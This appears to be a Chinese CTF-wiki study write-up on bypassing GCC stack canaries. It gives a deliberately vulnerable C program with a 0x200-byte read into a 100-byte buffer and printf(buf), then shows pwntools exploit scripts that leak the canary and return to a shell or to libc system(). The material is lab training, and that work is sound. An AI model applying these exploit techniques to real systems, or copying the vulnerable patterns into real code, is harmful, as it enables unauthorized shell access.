ctfwiki-pwn:canary
GCC 中使用以下參數(shù)設(shè)置 Canary:
-fstack-protector 啟用保護(hù),不過(guò)只為局部變量中含有數(shù)組的函數(shù)插入保護(hù)
-fstack-protector-all 啟用保護(hù),為所有函數(shù)插入保護(hù)
-fstack-protector-strong -fstack-protector-explicit 只對(duì)有明確 stack_protect attribute 的函數(shù)開(kāi)啟保護(hù)
-fno-stack-protector 禁用保護(hù)
Canary
序言
Canary 是一種十分有效的解決棧溢出問(wèn)題的漏洞緩解措施。但是并不意味著 Canary 就能夠阻止所有的棧溢出利用,在這里給出了常見(jiàn)的存在 Canary 的棧溢出利用思路,請(qǐng)注意每種方法都有特定的環(huán)境要求。
源碼:
// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
編譯為 32bit 程序并關(guān)閉 PIE 保護(hù) (默認(rèn)開(kāi)啟 NX,ASLR,Canary 保護(hù))
gcc -m32 -no-pie ex2.c -o ex2
我們使用gdb-peda,嘗試獲取溢出的偏移值,發(fā)現(xiàn)程序報(bào)錯(cuò)了SIGABR
SIGABRT是中止一個(gè)程序,它可以被捕捉,但不能被阻塞。處理函數(shù)返回后,所有打開(kāi)的文件描述符將會(huì)被關(guān)閉,流也會(huì)被flush。
這里我的理解是我們開(kāi)啟了canary,我們輸入的字符覆蓋了canary插入的cookie,被檢測(cè)出來(lái)了,程序就終止了。
Canary 實(shí)現(xiàn)原理
開(kāi)啟 Canary 保護(hù)的 stack 結(jié)構(gòu)大概如下:
泄露棧中的 Canary
Canary 設(shè)計(jì)為以字節(jié)x00結(jié)尾,本意是為了保證 Canary 可以截?cái)嘧址?泄露棧中的 Canary 的思路是覆蓋 Canary 的低字節(jié),來(lái)打印出剩余的 Canary 部分。 這種利用方式需要存在合適的輸出函數(shù),并且可能需要第一溢出泄露 Canary,之后再次溢出控制執(zhí)行流程。
Canary 繞過(guò)技術(shù)
首先通過(guò)覆蓋 Canary 最后一個(gè)x00字節(jié)來(lái)打印出 4 位的 Canary 之后,計(jì)算好偏移,將 Canary 填入到相應(yīng)的溢出位置,實(shí)現(xiàn) Ret 到 getshell 函數(shù)中
我們先嘗試獲取canary的值,因?yàn)槭切《耍詂anary高地址存的是0,那么我們將0覆蓋后就可以打印出canary的值了
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
io=process('./ex2')
getshell=ELF('./ex2').sym['getshell']
io.recvuntil("Hello Hacker!
")
io.sendline('a'*100)
io.recvuntil('a'*100)
Canary=io.recv(4)
print(":"+str(Canary))
print(u32(Canary)) #格式轉(zhuǎn)換
運(yùn)行如圖所示,我們成功將canary的值打印出來(lái)了:
得到canray值之后,在第二次循環(huán)中我們可以在棧中相對(duì)的位置寫入canary值,然后再寫入shellcode
在IDA PRO中查看vuln函數(shù):
根據(jù)IDA PRO查看的信息,這里列出在vuln函數(shù)中的棧:
發(fā)現(xiàn)了buf到canary的偏移為0x70-0xC=100,我們?cè)?xC的位置填上canary的值,這時(shí)候填充到了ebp-8h的位置(即到ebp的位置為8)
我們填充8個(gè)字節(jié)到ebp,然后再用4個(gè)字節(jié)覆蓋舊的ebp,之后才是我們想要的ret位置
canary到返回地址的大小=8個(gè)字節(jié)(填充)+4個(gè)字節(jié)(oldebp)
編寫EXP:
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
io=process('./ex2')
getshell=ELF('./ex2').sym['getshell']
io.recvuntil("Hello Hacker!
")
io.sendline('a'*100)
io.recvuntil('a'*100)
Canary=io.recv(4)
payload='a'*100+p32((u32(Canary)-0xa))+'a'*12+p32(getshell) #buf + canary + canary到返回地址的大小 + 返回地址
io.sendline(payload)
io.recvuntil('a'*100)
io.interactive()
運(yùn)行:
附(學(xué)會(huì)舉一反三):
利用我們pwn實(shí)驗(yàn)2的ret2libc,編寫EXP:
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
libc_base=0xf7dc9000
system=libc_base+0x0045830
bash=libc_base+0x00192352
io=process('./ex2')
io.recvuntil("Hello Hacker!
")
io.sendline('a'*100)
io.recvuntil('a'*100)
Canary=io.recv(4)
payload='a'*100+p32((u32(Canary)-0xa))+'a'*12+p32(system)+p32(0xdeadbeef)+p32(bash)
io.send(payload)
io.recvuntil('a'*100)
io.interactive()
總結(jié)
以上是生活随笔為你收集整理的ctfwiki-pwn:canary的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 墨西哥人说什么语(墨西哥人为什么说西班牙
- 下一篇: 银行春节后几号上班(正月银行什么时候上班